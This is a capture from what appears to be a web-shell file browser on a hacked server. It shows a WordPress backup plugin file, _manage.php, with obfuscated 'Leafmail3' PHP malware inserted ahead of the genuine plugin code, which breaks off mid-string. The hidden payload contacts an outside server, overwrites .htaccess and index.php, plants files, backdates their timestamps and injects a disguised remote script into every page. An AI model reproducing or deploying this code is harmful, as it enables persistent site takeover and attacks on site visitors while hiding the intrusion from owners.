0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
destinations
/
live
/
[
Home
]
File: _manage.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /* BackupBuddy Stash Live Main Page * * @author Dustin Bolton * @since 7.0 * */ pb_backupbuddy::load_style( 'backupProcess2.css' ); pb_backupbuddy::load_style( 'backupbuddy_live.css' ); pb_backupbuddy::load_script( 'underscore' ); if ( is_network_admin() ) { $admin_url = network_admin_url( 'admin.php' ); } else { $admin_url = admin_url( 'admin.php' ); } pb_backupbuddy::alert( '{error placeholder}', false, $error_code = '', $rel_tag = 'stash_live_error_alert' ); ?> <script> var loadingIndicator = ''; jQuery(document).ready(function() { loadingIndicator = jQuery( '.pb_backupbuddy_loading' ); }); function backupbuddy_resizeIframe(obj) { newHeight = obj.contentWindow.document.body.scrollHeight; obj.style.height = newHeight + 'px'; } </script> <?php // Incoming vars: $destination, $destination_id if ( isset( $destination['disabled'] ) && ( '1' == $destination['disabled'] ) ) { die( __( 'This destination is currently disabled based on its settings. Re-enable it under its Advanced Settings.', 'it-l10n-backupbuddy' ) ); } wp_enqueue_script( 'thickbox' ); wp_print_scripts( 'thickbox' ); wp_print_styles( 'thickbox' ); require_once( pb_backupbuddy::plugin_path() . '/destinations/live/live_periodic.php' ); $state = backupbuddy_live_periodic::get_stats(); include( '_stats.php' ); // Recalculate stats. Populates $stats var. // First backup in progress alert. if ( 0 == $state['stats']['first_completion'] ) { $first_backup_message = '<h3 id="backupbuddy_live_first_completion_pending">' . __( 'Your first BackupBuddy Stash Live Backup has started!', 'it-l10n-backupbuddy' ) . '</h3>'; $first_backup_message .= '<div class="col col-1-3"><span class="dashicons dashicons-clock"></span>'; $first_backup_message .= sprintf( '<p><strong>%s</strong> %s</p>', __( 'This first backup may take a while,', 'it-l10n-backupbuddy' ), sprintf( '%1$s <a href="%2$s" target="_blank">%3$s</a>', __( 'depending on your site size and hosting. Feel free to take a nap, go for a walk, or', 'it-l10n-backupbuddy' ), 'https://www.youtube.com/watch?v=BCHuH6hnSyQ&index=5&list=PL7F27C55A2081E63E"', __( 'watch some badger videos.', 'it-l10n-backupbuddy' ), __( 'You may leae this page though it will go faster if you stay.', 'it-l10n-backupbuddy' ) ) ); $first_backup_message .= '</div>'; $first_backup_message .= '<div class="col col-1-3"><span class="dashicons dashicons-email-alt"></span>'; $first_backup_message .= sprintf( '<p><strong>%s</strong> %s</p>', __('Keep an eye on your inbox.', 'it-l10n-backupbuddy' ), __( 'You\'ll receive an email notification once your first Stash Live backup completes. You can configure your Stash Live email settings from the Settings link above.', 'it-l10n-backupbuddy' ) ); $first_backup_message .= '</div>'; $first_backup_message .= '<div class="col col-1-3"><span class="dashicons dashicons-sos"></span>'; $first_backup_message .= sprintf( '<p><strong>%s</strong> %s</p>', __('Have questions or need help?', 'it-l10n-backupbuddy' ), sprintf( __('Check out the <a href="%1$s" target="_blank">%2$s</a> and <a href="%3$s" target="_blank">%4$s</a>.', 'it-l10n-backupbuddy' ), 'https://ithemes.com/stash-live/faqs', __( 'Stash Live FAQs', 'it-l10n-backupbuddy' ), 'https://ithemes.com/tutorial/category/stash-live/', __('tutorial video library', 'it-l10n-backupbuddy' ) ) ); $first_backup_message .= '</div>'; pb_backupbuddy::disalert( 'live_first_completion', $first_backup_message ); } // First backup complete alert. Not output if older than 48 hours. Output but hidden if =0. Output and visible is non-zero > 48hrs. if ( 0 == $state['stats']['first_completion'] ) { // Output but hidden if not finished. $completion_css = 'display: none;'; } elseif ( ( time() - $state['stats']['first_completion'] ) < 60*60*48 ) { // < 48hrs. $completion_css = ''; } if ( isset( $completion_css ) ) { pb_backupbuddy::disalert( 'live_first_completion_done', '<h3>' . __( 'Your first Live Backup is complete!', 'it-l10n-backupbuddy' ) . '</h3><p class="description" style="max-width: 700px; display: inline-block;">' . __( 'Your first BackupBuddy Stash Live backup process has completed and your first Snapshot will arrive in your Stash storage shortly. We\'ll automatically backup any changes you make to your site from here on out and regularly create Snapshots in time of your data. Your site is well on its way to a secure future in the safe hands of BackupBuddy Stash Live.', 'it-l10n-backupbuddy' ) . '</p>', $error = false, $completion_css ); } // RUN ACTIONS FROM BUTTON PRESS. if ( '' != pb_backupbuddy::_GET( 'live_action' ) ) { pb_backupbuddy::verify_nonce(); $action = pb_backupbuddy::_GET( 'live_action' ); if ( 'clear_log' == $action ) { $sumLogFile = backupbuddy_core::getLogDirectory() . 'status-live_periodic_' . pb_backupbuddy::$options['log_serial'] . '.txt'; @unlink( $sumLogFile ); if ( file_exists( $sumLogFile ) ) { pb_backupbuddy::alert( 'Error #893489322: Unable to clear log file `' . $sumLogFile . '`. Check permissions or manually delete.' ); } else { pb_backupbuddy::alert( 'Log file cleared.' ); } } elseif ( 'create_snapshot' == $action ) { // < 100% backed up _OR_ ( we are on a step other than daily_init and the last_activity is more recent than the php runtime ) /* if ( '' != pb_backupbuddy::_GET( 'get_snapshot_status' ) ) { // Check existing snapshot status. $response = array( 'success' => false, 'snapshot' => pb_backupbuddy::_GET( 'get_snapshot_status' ), 'note' => 'This is a dummy array populated in _manage.php for triggering status check manually.', ); } */ if ( true === backupbuddy_api::runLiveSnapshot() ) { pb_backupbuddy::alert( '<h3>' . __( 'Verifying everything is up to date before Snapshot', 'it-l10n-backupbuddy' ) . '</h3><p class="description" style="max-width: 700px; display: inline-block;">' . __( 'Please wait while we verify your backup is completely up to date before we create the Snapshot. This may take a few minutes...', 'it-l10n-backupbuddy' ) . '</p>', false, '', 'backupbuddy_live_snapshot_verify_uptodate' ); require( '_manual_snapshot.php' ); } } elseif ( 'resume_periodic_step' == $action ) { pb_backupbuddy::alert( 'Launching BackupBuddy Stash Live Periodic Process to run now where it left off.' ); backupbuddy_live_periodic::run_periodic_process(); } elseif ( 'uncache_credentials' == $action ) { require_once( pb_backupbuddy::plugin_path() . '/destinations/live/init.php' ); delete_transient( pb_backupbuddy_destination_live::LIVE_ACTION_TRANSIENT_NAME ); pb_backupbuddy::alert( 'Deleted cached Live credentials.' ); } elseif ( 'trim_archives' == $action ) { require_once( pb_backupbuddy::plugin_path() . '/destinations/live/live.php' ); if ( true === backupbuddy_live::trim_remote_archives( $echo = true ) ) { pb_backupbuddy::alert( 'Successfully 